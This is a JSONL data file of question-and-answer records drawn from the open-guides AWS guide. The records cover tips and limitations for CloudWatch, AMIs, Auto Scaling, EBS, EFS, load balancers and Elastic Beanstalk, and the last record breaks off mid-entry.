{"id": "gh_db26e27220c7", "question": "How to: CloudWatch Tips", "question_body": "About open-guides/og-aws", "answer": "* Some very common use cases for CloudWatch are **[billing alarms](http://docs.aws.amazon.com/AmazonCloudWatch/latest/monitoring/monitor_estimated_charges_with_cloudwatch.html)**, **instance** **or [load balancer up/down alarms](http://docs.aws.amazon.com/elasticloadbalancing/latest/application/load-balancer-cloudwatch-metrics.html)**, and **disk usage alerts**.\n* You can use [EC2Config](http://docs.aws.amazon.com/AWSEC2/latest/WindowsGuide/UsingConfig_WinAMI.html#send_logs_to_cwl) to monitor watch memory and disk metrics on Windows platform instances. For Linux, there are [example scripts](http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/mon-scripts.html) that do the same thing.\n* You can [publish your own metrics](http://docs.aws.amazon.com/AmazonCloudWatch/latest/monitoring/publishingMetrics.html) using the AWS API. [Incurs additional cost](https://aws.amazon.com/cloudwatch/pricing/).\n* You can stream directly from CloudWatch Logs to a Lambda or ElasticSearch cluster by creating [subscriptions](http://docs.aws.amazon.com/AmazonCloudWatch/latest/logs/Subscriptions.html) on Log Groups.\n* Don't forget to take advantage of the [CloudWatch non-expiring free tier](https://aws.amazon.com/free/#Amazon_CloudWatch).\n\n[Back to top :arrow_up:](#table-of-contents)", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 36638, "answer_score": 10, "has_code": false, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.977489"}
{"id": "gh_76c5650a3acd", "question": "How to: CloudWatch Gotchas and Limitations", "question_body": "About open-guides/og-aws", "answer": "* 🔸Metrics in CloudWatch originate [on the hypervisor](https://forums.aws.amazon.com/message.jspa?messageID=403578). The hypervisor doesn't have access to OS information, so certain metrics (most notably memory utilization) are not available unless pushed to CloudWatch from inside the instance.\n* 🔸You can not use [more than one metric for an alarm](https://forums.aws.amazon.com/thread.jspa?threadID=94984).\n* 🔸Notifications you receive from alarms will not have any contextual detail; they have only the specifics of the threshold, alarm state, and timing.\n* 🔸By default, CloudWatch metric resolution is 1 minute. If you send multiple values of a metric within the same minute, they will be aggregated into minimum, maximum, average and total (sum) per minute.\n* 🐥In July 2017, a new [high-resolution option](http://docs.aws.amazon.com/AmazonCloudWatch/latest/monitoring/publishingMetrics.html#high-resolution-metrics) was added for CloudWatch metrics and alarms. This feature allows you to record metrics with 1-second resolution, and to evaluate CloudWatch alarms every 10 seconds.\n    - The [blog post introducing this feature](https://aws.amazon.com/blogs/aws/new-high-resolution-custom-metrics-and-alarms-for-amazon-cloudwatch/) describes how to publish a high-resolution metric to CloudWatch. Note that when calling the `PutMetricData` API, `StorageResolution` is an attribute of each item you send in the `MetricData` array, not a direct parameter of the `PutMetricData` API call.\n* 🔸Data about metrics is kept in CloudWatch [for 15 months](https://aws.amazon.com/blogs/aws/amazon-cloudwatch-update-extended-metrics-retention-user-interface-update/), starting November 2016 (used to be 14 days). Minimum granularity increases after 15 days.\n\nAMIs\n----", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 36638, "answer_score": 10, "has_code": true, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.977498"}
{"id": "gh_c54427f1e269", "question": "How to: AMI Basics", "question_body": "About open-guides/og-aws", "answer": "-\t📒 [User guide](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/AMIs.html)\n-\t**AMIs** (Amazon Machine Images) are immutable images that are used to launch preconfigured EC2 instances. They come in both public and private flavors. Access to public AMIs is either freely available (shared/community AMIs) or bought and sold in the [**AWS Marketplace**](http://aws.amazon.com/marketplace).\n-\tMany operating system vendors publish ready-to-use base AMIs. For Ubuntu, see the [Ubuntu AMI Finder](https://cloud-images.ubuntu.com/locator/ec2/). Amazon of course has [AMIs for Amazon Linux](https://aws.amazon.com/amazon-linux-ami/).\n\n[Back to top :arrow_up:](#table-of-contents)", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 36638, "answer_score": 10, "has_code": false, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.977504"}
{"id": "gh_ed3bac8ac516", "question": "How to: AMI Gotchas and Limitations", "question_body": "About open-guides/og-aws", "answer": "-\t🔸**Amazon Linux package versions:** [By default](https://aws.amazon.com/amazon-linux-ami/faqs/#lock), instances based on Amazon Linux AMIs are configured point to the latest versions of packages in Amazon’s package repository. This means that the package versions that get installed are not locked and it is possible for changes, including breaking ones, to appear when applying updates in the future. If you bake your AMIs with updates already applied, this is unlikely to cause problems in running services whose instances are based on those AMIs – breaks will appear at the earlier AMI-baking stage of your build process, and will need to be fixed or worked around before new AMIs can be generated. There is a “lock on launch” feature that allows you to configure Amazon Linux instances to target the repository of a particular major version of the Amazon Linux AMI, reducing the likelihood that breaks caused by Amazon-initiated package version changes will occur at package install time but at the cost of not having updated packages get automatically installed by future update runs. Pairing use of the “lock on launch” feature with a process to advance the Amazon Linux AMI at your discretion can give you tighter control over update behaviors and timings.\n-   **Cloud-Init Defaults:** Oftentimes users create AMIs after performing customizations (albeit manually or via some tool such as Packer or Ansible).  If you're not careful to alter cloud-init settings that correspond to the system service (e.g. sshd, etc.) you've customized, you may find that your changes are no longer in effect after booting your new AMI for the first time, as cloud-init has overwritten them.\n\n    Some distros have different files than others, but all are generally located in `/etc/cloud/`, regardless of distro.  You will want to review these files carefully for your chosen distro before rolling your own AMIs.  A [complete reference to cloud-init](https://cloudinit.readthedocs.io/en/latest/) is available on the cloud-init site.  This is an advanced configuration mechanism, so test any changes made to these files in a sandbox prior to any serious usage.\n\nAuto Scaling\n------------", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 36638, "answer_score": 10, "has_code": true, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.977519"}
{"id": "gh_14300df49f09", "question": "How to: Auto Scaling Basics", "question_body": "About open-guides/og-aws", "answer": "-\t📒 [Homepage](https://aws.amazon.com/autoscaling/) ∙ [User guide](http://docs.aws.amazon.com/autoscaling/latest/userguide/) ∙ [FAQ](https://aws.amazon.com/ec2/autoscaling/faqs/) ∙ [Pricing](https://aws.amazon.com/autoscaling/pricing/) at no additional charge\n-\t[**Auto Scaling Groups (ASGs)**](https://aws.amazon.com/autoscaling/) are used to control the number of instances in a service, reducing manual effort to provision or deprovision EC2 instances.\n-\tThey can be configured through [Scaling Policies](http://docs.aws.amazon.com/autoscaling/latest/userguide/policy_creating.html) to automatically increase or decrease instance counts based on metrics like CPU utilization, or based on a schedule.\n-\tThere are three common ways of using ASGs - dynamic (automatically adjust instance count based on metrics for things like CPU utilization), static (maintain a specific instance count at all times), scheduled (maintain different instance counts at different times of day or on days of the week).\n-\t💸ASGs [have no additional charge](https://aws.amazon.com/autoscaling/pricing/) themselves; you pay for underlying EC2 and CloudWatch services.\n\n[Back to top :arrow_up:](#table-of-contents)", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 36638, "answer_score": 10, "has_code": false, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.977526"}
{"id": "gh_342047d694a4", "question": "How to: EBS Basics", "question_body": "About open-guides/og-aws", "answer": "-\t📒 [Homepage](https://aws.amazon.com/ebs/) ∙ [User guide](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/AmazonEBS.html) ∙ [FAQ](https://aws.amazon.com/ebs/faqs/) ∙ [Pricing](https://aws.amazon.com/ebs/pricing/)\n-\t**EBS** (Elastic Block Store) provides block level storage. That is, it offers storage volumes that can be attached as filesystems, like traditional network drives.\n-\tEBS volumes can only be attached to one EC2 instance at a time. In contrast, EFS can be shared but has a much higher price point ([a comparison](http://stackoverflow.com/questions/29575877/aws-efs-vs-ebs-vs-s3-differences-when-to-use)).\n\n[Back to top :arrow_up:](#table-of-contents)", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 36638, "answer_score": 10, "has_code": false, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.977546"}
{"id": "gh_966a1b82ea4c", "question": "How to: EBS Gotchas and Limitations", "question_body": "About open-guides/og-aws", "answer": "-\t❗EBS durability is reasonably good for a regular hardware drive (annual failure rate of [between 0.1% - 0.2%](http://aws.amazon.com/ebs/details/#availabilityanddurability)). On the other hand, that is very poor if you don’t have backups! By contrast, S3 durability is extremely high. *If you care about your data, back it up to S3 with snapshots.*\n-\t🔸EBS has an [**SLA**](http://aws.amazon.com/ec2/sla/) with **99.99%** uptime. See notes on high availability below.\n-\t❗EBS volumes have a [**volume type**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSVolumeTypes.html) indicating the physical storage type. The types called “standard” (**st1** or **sc1**) are actually old spinning-platter disks, which deliver only hundreds of IOPS — not what you want unless you’re really trying to cut costs. Modern SSD-based **gp2** or **io1** are typically the options you want.\n-\t❗When restoring a snapshot to create an EBS volume, blocks are lazily read from S3 the first time they're referenced. To avoid an initial period of high latency, you may wish to use `dd` or `fio` as per the [official documentation](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ebs-restoring-volume.html).\n\nEFS\n---", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 36638, "answer_score": 10, "has_code": false, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.977556"}
{"id": "gh_51d04d9e54eb", "question": "How to: EFS Basics", "question_body": "About open-guides/og-aws", "answer": "-\t📒 [Homepage](https://aws.amazon.com/efs/) ∙ [User guide](http://docs.aws.amazon.com/efs/latest/ug) ∙ [FAQ](https://aws.amazon.com/efs/faq/) ∙ [Pricing](https://aws.amazon.com/efs/pricing/)\n-\t🐥**EFS** is Amazon’s network filesystem. It’s presented as an [NFSv4.1](https://en.wikipedia.org/wiki/Network_File_System#NFSv4) server. Any compatible NFSv4 client can mount it.\n-\tIt is designed to be highly available and durable and each EFS file system object is redundantly stored across multiple availability zones.\n-\tEFS is designed to be used as a shared network drive and it can automatically scale up to petabytes of stored data and thousands of instances attached to it.\n-\tEFS can offer [higher throughput](http://docs.aws.amazon.com/efs/latest/ug/performance.html) (multiple gigabytes per second) and better durability and availability than EBS (see [the comparison table](#storage-durability-availability-and-price)), but with higher latency.\n-\tEFS is priced based on the volume of data stored, and costs [much more than EBS](#storage-durability-availability-and-price); it's in the ballpark of three times as much compared to general purpose gp2 EBS volumes.\n-\t⏱ [Performance](http://docs.aws.amazon.com/efs/latest/ug/performance.html) is dependent on the volume of data stored, as is the price:\n\t-\tLike EBS, EFS uses a credit based system. Credits are earned at a rate of 50 KiB/s per GiB of storage and consumed in bursts during reading/writing files or metadata. Unlike EBS, operations on metadata (file size, owner, date, etc.) also consume credits. The [BurstCreditBalance metric](http://docs.aws.amazon.com/efs/latest/ug/monitoring-cloudwatch.html#efs-metrics) in CloudWatch should be monitored to make sure the file system doesn't run out of credits.\n\t-\tThroughput capacity during bursts is also dependent on size. Under 1 TiB, throughput can go up to 100 MiB/s. Above that, 100 MiB/s is added for each stored TiB. For instance, a file system storing 5 TiB would be able to burst at a rate of 500 MiB/s. Maximum throughput per EC2 instance is 250 MiB/s.\n\t-\tEFS has two performance modes that can only be set when a file system is created. One is \"General Purpose\", the other is \"Max I/O\". Max I/O scales higher, but at the cost of higher latency. When in doubt, use General Purpose, which is also the default. If the [PercentIOLimit metric](http://docs.aws.amazon.com/efs/latest/ug/monitoring-cloudwatch.html#efs-metrics) in CloudWatch hovers around 100%, Max I/O is recommended. Changing performance mode means creating a new EFS and migrating data.\n-\tHigh availability is achieved by having [mount targets in different subnets / availability zones](http://docs.aws.amazon.com/efs/latest/ug/images/overview-flow.png).\n\n[Back to top :arrow_up:](#table-of-contents)", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 36638, "answer_score": 10, "has_code": false, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.977569"}
{"id": "gh_839ef63d651a", "question": "How to: EFS Gotchas and Limitations", "question_body": "About open-guides/og-aws", "answer": "-\t🔸 A number of NFSv4.1 features are [not supported](http://docs.aws.amazon.com/efs/latest/ug/nfs4-unsupported-features.html) and there are some [limits](http://docs.aws.amazon.com/efs/latest/ug/limits.html) to the service.\n-\t🔸 As of 2017-08, EFS offers disk level encryption for new drives. For file systems created before that date, encryption can only be achieved by moving the data to a new EFS volume.\n-\t🔸 An EFS file system [can be mounted on premises](https://aws.amazon.com/efs/faq/#on-premises) over Direct Connect.\n-\t🔸 An EFS file system can NOT be mounted over VPC peering or VPN, even if the VPN is running on top of Direct Connect.\n-\t🔸 Using an EFS volume on Windows is not supported.\n-\t⏱ When a file is uploaded to EFS, it can take hours for EFS to update the details for billing and burst credit purposes.\n-\t🔸⏱  Metadata operations can be costly in terms of burst credit consumption. Recursively traversing a tree containing thousands of files can easily ramp up to tens or even hundreds of megabytes of burst credits being consumed, even if no file is being touched. Commands like ```find``` or ```chown -R``` can have an adverse impact on performance.\n\nLoad Balancers\n--------------", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 36638, "answer_score": 10, "has_code": true, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.977578"}
{"id": "gh_4f3a5de2f64b", "question": "How to: Load Balancer Basics", "question_body": "About open-guides/og-aws", "answer": "-\tAWS has 3 load balancing products - “Classic Load Balancers” (CLBs), “Application Load Balancers” (ALBs), and \"Network Load Balancers\" (NLB).\n-\tBefore the introduction of ALBs, “Classic Load Balancers” were known as “Elastic Load Balancers” (ELBs), so older documentation, tooling, and blog posts may still reference “ELBs”.\n-\tCLBs have been around since 2009, ALBs in 2016, NLBs were added in 2017 to AWS.\n-\tCLBs support TCP and HTTP load balancing. ALBs support HTTP load balancing only. NLBs support TCP layer 4 load balancing.\n-\tCLBs and ALBs can optionally handle termination for a single SSL certificate.\n-\tAll can optionally perform active health checks of instances and remove them from the destination pool if they become unhealthy.\n-\tCLBs don't support complex / rule-based routing. ALBs support a (currently small) set of rule-based routing features. NLBs have most extensive routing options.\n-\tCLBs can only forward traffic to a single globally configured port on destination instances, while ALBs can forward to ports that are configured on a per-instance basis, better supporting routing to services on shared clusters with dynamic port assignment (like ECS or Mesos). NLBs support multiple ports on same IP; registering targets by IP address, including targets outside the VPC for the load balancer; ECS can select unused port for scheduling a task then register a target group using this port.\n-\tCLBs are supported in EC2 Classic as well as in VPCs while ALBs are supported in VPCs only.\n-   ALBs can target groups of instances and IP based targets in the RFC1918 ranges allowing you to use on premise destinations via VPN or Direct Connect.\n\n[Back to top :arrow_up:](#table-of-contents)", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 36638, "answer_score": 10, "has_code": false, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.977586"}
{"id": "gh_744b79bd604c", "question": "How to: Load Balancer Tips", "question_body": "About open-guides/og-aws", "answer": "-\tIf you don’t have opinions on your load balancing up front, and don’t have complex load balancing needs like application-specific routing of requests, it’s reasonable just to use a CLB or ALB for load balancing instead.\n-\tEven if you don’t want to think about load balancing at all, because your architecture is so simple (say, just one server), put a load balancer in front of it anyway. This gives you more flexibility when upgrading, since you won’t have to change any DNS settings that will be slow to propagate, and also it lets you do a few things like terminate SSL more easily.\n-\t**CLBs and ALBs have many IPs:** Internally, an AWS load balancer is simply a collection of individual software load balancers hosted within EC2, with DNS load balancing traffic among them. The pool can contain many IPs, at least one per availability zone, and depending on traffic levels. They also support SSL termination, which is very convenient.\n-\t**Scaling:** CLBs and ALBs can scale to very high throughput, but scaling up is not instantaneous. If you’re expecting to be hit with a lot of traffic suddenly, it can make sense to load test them so they scale up in advance. You can also [contact Amazon](http://aws.amazon.com/articles/1636185810492479) and have them “pre-warm” the load balancer.\n-\t**Client IPs:** In general, if servers want to know true client IP addresses, load balancers must forward this information somehow. CLBs add the standard [X-Forwarded-For](https://en.wikipedia.org/wiki/X-Forwarded-For) header. When using a CLB as an HTTP load balancer, it’s possible to get the client’s IP address from this.\n-\t**Using load balancers when deploying:** One common pattern is to swap instances in the load balancer after spinning up a new stack with your latest version, keep old stack running for one or two hours, and either flip back to old stack in case of problems or tear it down.\n-   **Rotating Certificates while retaining ARN:** Rotating IAM Server Certificates can be difficult as the standard practice is to upload a new one then update all resources with the new ARN. You can however retain the same ARN using the `update-certificate` call with the following process:\n  1. Upload a new IAM Server Certificate with a unique name (e.g fuzzy.com.new)\n  2. Rename the existing IAM Server Certificate (e.g fuzzy.com to fuzzy.com.expired)\n  3. Rename the new IAM Server Certificate to the name of the previously existing certificate (e.g fuzzy.com.new to fuzzy.com)\n  4. Jiggle the CLB/ALB Listener to pick up the change:\n      * ALB: Invoke modify-listener with the existing details for the ALB Listener\n\t  * CLB: Invoke create-load-balancer-listeners with the existing details for the CLB listener\n\n[Back to top :arrow_up:](#table-of-contents)", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 36638, "answer_score": 10, "has_code": true, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.977597"}
{"id": "gh_a3e19c3d37b8", "question": "How to: Load Balancer Gotchas and Limitations", "question_body": "About open-guides/og-aws", "answer": "-\t❗CLBs and ALBs have **no fixed external IP** that all clients see. For most consumer apps this doesn’t matter, but enterprise customers of yours may want this. IPs will be different for each user, and will vary unpredictably for a single client over time (within the standard [EC2 IP ranges](http://docs.aws.amazon.com/general/latest/gr/aws-ip-ranges.html)). And similarly, never resolve a CLB name to an IP and put it as the value of an A record — it will work for a while, then break!\n-\t❗Some web clients or reverse proxies cache DNS lookups for a long time, which is problematic for CLBs and ALBs, since they change their IPs. This means after a few minutes, hours, or days, your client will stop working, unless you disable DNS caching. Watch out for [Java’s settings](http://docs.oracle.com/javase/8/docs/api/java/net/InetAddress.html) and be sure to [adjust them properly](http://docs.aws.amazon.com/AWSSdkDocsJava/latest/DeveloperGuide/java-dg-jvm-ttl.html). Another example is nginx as a reverse proxy, which [normally resolves backends only at start-up](https://www.jethrocarr.com/2013/11/02/nginx-reverse-proxies-and-dns-resolution/) (although there is [a way to get around this](https://tenzer.dk/nginx-with-dynamic-upstreams/)).\n-\t❗It’s not unheard of for IPs to be recycled between customers without a long cool-off period. So as a client, if you cache an IP and are not using SSL (to verify the server), you might get not just errors, but responses from completely different services or companies!\n-\t🔸As an operator of a service behind a CLB or ALB, the latter phenomenon means you can also see puzzling or erroneous requests by clients of other companies. This is most common with clients using back-end APIs (since web browsers typically cache for a limited period).\n-\t❗CLBs and ALBs take time to scale up, it does not handle sudden spikes in traffic well. Therefore, if you anticipate a spike, you need to “pre-warm” the load balancer by gradually sending an increasing amount of traffic.\n-\t❗Tune your healthchecks carefully — if you are too aggressive about deciding when to remove an instance and conservative about adding it back into the pool, the service that your load balancer is fronting may become inaccessible for seconds or minutes at a time. Be extra careful about this when an autoscaler is configured to terminate instances that are marked as being unhealthy by a managed load balancer.\n-\t❗CLB HTTPS listeners don't support Server Name Indication (SNI). If you need SNI, you can work around this limitation by either providing a certificate with Subject Alternative Names (SANs) or by using TCP listeners and terminating SSL at your backend.\n-\t🔸 There is a limit on the number of ALBs, CLBs and NLBs per region (separately). As of late 2017, the default limit for each is 20 per region. These limits can be easily raised for ALB and CLB, but AWS is quite reluctant to raise the limit on NLBs.\n-\t🔸 If using a Network Load Balancer (NLB) then EC2 clients cannot connect to an NLB that resides in another VPC (VPC Peering) or AWS managed VPN unless the EC2 client is a C5, i3.metal or M5 instance type. For VPC peering, both VPCs must be in the same region. See [Troubleshooting](https://docs.aws.amazon.com/elasticloadbalancing/latest/network/load-balancer-troubleshooting.html#target-not-in-service).\n\nCLB\n---", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 36638, "answer_score": 10, "has_code": false, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.977611"}
{"id": "gh_936872d0d158", "question": "How to: CLB Basics", "question_body": "About open-guides/og-aws", "answer": "-\t📒 [Homepage](https://aws.amazon.com/elasticloadbalancing/classicloadbalancer/) ∙ [User guide](https://aws.amazon.com/elasticloadbalancing/classicloadbalancer/developer-resources/) ∙ [FAQ](https://aws.amazon.com/elasticloadbalancing/classicloadbalancer/faqs/) ∙ [Pricing](https://aws.amazon.com/elasticloadbalancing/classicloadbalancer/pricing/)\n- Classic Load Balancers, formerly known as Elastic Load Balancers, are HTTP and TCP load balancers that are managed and scaled for you by Amazon.\n\n[Back to top :arrow_up:](#table-of-contents)", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 36638, "answer_score": 10, "has_code": false, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.977617"}
{"id": "gh_b5c0c7ccc60a", "question": "How to: CLB Gotchas and Limitations", "question_body": "About open-guides/og-aws", "answer": "-\tIn general, CLBs are not as “smart” as some load balancers, and don’t have fancy features or fine-grained control a traditional hardware load balancer would offer. For most common cases involving sessionless apps or cookie-based sessions over HTTP, or SSL termination, they work well.\n-\t🔸By default, CLBs will refuse to route traffic from a load balancer in one Availability Zone (AZ) to a backend instance in another. This [will cause 503s](http://docs.aws.amazon.com/elasticloadbalancing/latest/classic/ts-elb-error-message.html#ts-elb-errorcodes-http503) if the last instance in an AZ becomes unavailable, even if there are healthy instances in other zones. If you’re running fewer than two backend instances per AZ, you almost certainly want to [enable cross-zone load balancing](http://docs.aws.amazon.com/elasticloadbalancing/latest/classic/enable-disable-crosszone-lb.html#enable-cross-zone).\n-\t🔸Complex rules for directing traffic are not supported. For example, you can’t direct traffic based on a regular expression in the URL, like HAProxy offers.\n-\t**Apex DNS names:** Once upon a time, you couldn’t assign a CLB to an apex DNS record (i.e. example.com instead of foo.example.com) because it needed to be an A record instead of a CNAME. This is now possible with a Route 53 alias record directly pointing to the load balancer.\n-\t🔸CLBs use [HTTP keep-alives](https://en.wikipedia.org/wiki/HTTP_persistent_connection) on the internal side. This can cause an unexpected side effect: Requests from different clients, each in their own TCP connection on the external side, can end up on the same TCP connection on the internal side. Never assume that multiple requests on the same TCP connection are from the same client!\n-\t🔸 Traffic between CLBs and back-end instances in the same subnet **will** have [Network ACL](http://docs.aws.amazon.com/AmazonVPC/latest/UserGuide/VPC_ACLs.html) rules evaluated (EC2 to EC2 traffic in the same subnet would not have Network ACL rules evaluated). If the default '0.0.0.0/0 ALLOW' rule is removed from the Network ACL applied to the subnet, a rule that allows traffic on both the health check port and any listener port must be added.\n- As of December 2016, CLBs launched in VPCs do not support IPv6 addressing. CLBs launched in EC2-Classic support both IPv4 and IPv6 [with the \"dualstack\" DNS name](http://docs.aws.amazon.com/elasticloadbalancing/latest/classic/elb-internet-facing-load-balancers.html#internet-facing-ip-addresses).\n\nALB\n---", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 36638, "answer_score": 10, "has_code": false, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.977629"}
{"id": "gh_379b5a28d575", "question": "How to: ALB Basics", "question_body": "About open-guides/og-aws", "answer": "-\t📒 [Homepage](https://aws.amazon.com/elasticloadbalancing/applicationloadbalancer/) ∙ [User guide](https://aws.amazon.com/elasticloadbalancing/applicationloadbalancer/developer-resources/) ∙ [FAQ](https://aws.amazon.com/elasticloadbalancing/applicationloadbalancer/faqs/) ∙ [Pricing](https://aws.amazon.com/elasticloadbalancing/applicationloadbalancer/pricing/)\n-\t🐥**Websockets and HTTP/2** are [now supported](https://aws.amazon.com/blogs/aws/new-aws-application-load-balancer/).\n-\t🐥**Internet Protocol Version 6 (IPv6)** is [now supported](https://aws.amazon.com/about-aws/whats-new/2017/01/announcing-internet-protocol-version-6-ipv6-support-for-elastic-load-balancing-in-amazon-virtual-private-cloud-vpc/).\n-\t🐥**Load Balancing via IP** is [now supported](https://aws.amazon.com/about-aws/whats-new/2017/08/elastic-load-balancing-application-load-balancer-now-supports-load-balancing-to-ip-addresses-as-targets-for-aws-and-on-premises-resources/).\n-\tPrior to the Application Load Balancer, you were advised to use TCP instead of HTTP as the protocol to make it work (as described [here](http://www.quora.com/When-will-Amazon-ELB-offer-SPDY-support)) and use [the obscure but useful Proxy Protocol](http://docs.aws.amazon.com/ElasticLoadBalancing/latest/DeveloperGuide/enable-proxy-protocol.html) ([more on this](https://chrislea.com/2014/03/20/using-proxy-protocol-nginx/)) to pass client IPs over a TCP load balancer.\n\n[Back to top :arrow_up:](#table-of-contents)", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 36638, "answer_score": 10, "has_code": false, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.977637"}
{"id": "gh_6626d4ce8e9c", "question": "How to: ALB Gotchas and Limitations", "question_body": "About open-guides/og-aws", "answer": "-\t🔸ALBs only support HTTP/2 over HTTPS (no plain-text HTTP/2).\n-\t🔸ALBs only support HTTP/2 to external clients and not to internal resources (instances/containers).\n-\tALBs support HTTP routing but not port-based TCP routing.\n-\tInstances in the ALB’s target groups have to either have a single, fixed healthcheck port (“EC2 instance”-level healthcheck) or the healthcheck port for a target has to be the same as its application port (“Application instance”-level healthcheck) - you can't configure a per-target healthcheck port that is different than the application port.\n-\tALBs are VPC-only (they are not available in EC2 Classic)\n-\tIn a target group, if there is no healthy target, all requests are routed to all targets. For example, if you point a listener at a target group containing a single service that has a long initialization phase (during which the health checks would fail), requests will reach the service while it is still starting up.\n- 📜 Although ALBs [now support SNI](https://aws.amazon.com/about-aws/whats-new/2017/10/elastic-load-balancing-application-load-balancers-now-support-multiple-ssl-certificates-and-smart-certificate-selection-using-server-name-indication-sni/), they only support 25 HTTPS certificates per Load Balancer. This limitation is not described [here](http://docs.aws.amazon.com/elasticloadbalancing/latest/application/load-balancer-limits.html), so it might be subject to change.\n\nElastic Beanstalk\n----------------", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 36638, "answer_score": 10, "has_code": false, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.977647"}
{"id": "gh_9cb51125ccd8", "question": "How to: Elastic Beanstalk Basics", "question_body": "About open-guides/og-aws", "answer": "- 📒 [Homepage](https://aws.amazon.com/elasticbeanstalk/) ∙ [Developer guide](https://docs.aws.amazon.com/elasticbeanstalk/latest/dg/Welcome.html) ∙ [FAQ](https://aws.amazon.com/elasticbeanstalk/faqs/) ∙ [Pricing](https://aws.amazon.com/elasticbeanstalk/pricing/)\n- **EB** (Elastic Beanstalk) is a PaaS (Platform as a Service) that helps developers create, deploy and scale web applications\n- EB handles deployment, configuration, provisioning, load balancing, auto-scaling, monitoring, and logging\n- EB creates AWS resources on your behalf but you retain full access and control of the underlying resources\n- 💸 There is no cost to use EB but you will still be charged the full cost of the underlying AWS resources created by EB\n\n[Back to top :arrow_up:](#table-of-contents)", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 36638, "answer_score": 10, "has_code": false, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.977653"}
{"id": "gh_4e1bfdb896e1", "question": "How to: Elastic Beanstalk Tips", "question_body": "About open-guides/og-aws", "answer": "- To speed up deployment before launch or in a dev stage, turn off health checks and set the `Deployment policy` to `All at once`\n- If you have a configuration you want to re-use for multiple EB apps, you can save the current configuration using `eb config save --cfg myEBConfig`\n- By default, EB doesn't have any alarms. You'll need to add them yourself on metrics that you're monitoring.\n- By default, EB doesn't enable [managed platform updates](https://docs.aws.amazon.com/elasticbeanstalk/latest/dg/environment-platform-update-managed.html?icmpid=docs_elasticbeanstalk_console). Enable them in configuration to have EB automatically apply updates during a pre-specified maintenance window\n\n[Back to top :arrow_up:](#table-of-contents)", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 36638, "answer_score": 10, "has_code": false, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.977659"}
{"id": "gh_355175a87065", "question": "How to: Elastic Beanstalk Gotchas and Limitations", "question_body": "About open-guides/og-aws", "answer": "- 🔸 Don't edit [apache|nginx] conf files manually on ec2 instances as they will be re-written on each deployment (use [ebextensions](https://docs.aws.amazon.com/elasticbeanstalk/latest/dg/ebextensions.html) instead)\n- 🔸 After creating an EB environment, it's no longer possible to change the `Name` tag\n- 🔸 EB will sometimes quarantine instances that cause multiple deployment issues. Despite being quarantined, EB will still deploy to them on subsequent deployments. To prevent this behavior, said instances will need to be terminated (or the underlying issue fixed)\n- File uploads are capped at 10MB for most default eb configurations - update [nginx config](https://stackoverflow.com/questions/18908426/increasing-client-max-body-size-in-nginx-conf-on-aws-elastic-beanstalk) to change\n- If you edit `.elasticbeanstalk/saved_configs/`, be aware that this is not kept in sync with the EB environment config. You'll need to manually fetch and save for changes to take effect\n\nElastic IPs\n-----------", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 36638, "answer_score": 10, "has_code": false, "url": "https://github.com/open-guides/og-aws", "collected_at": 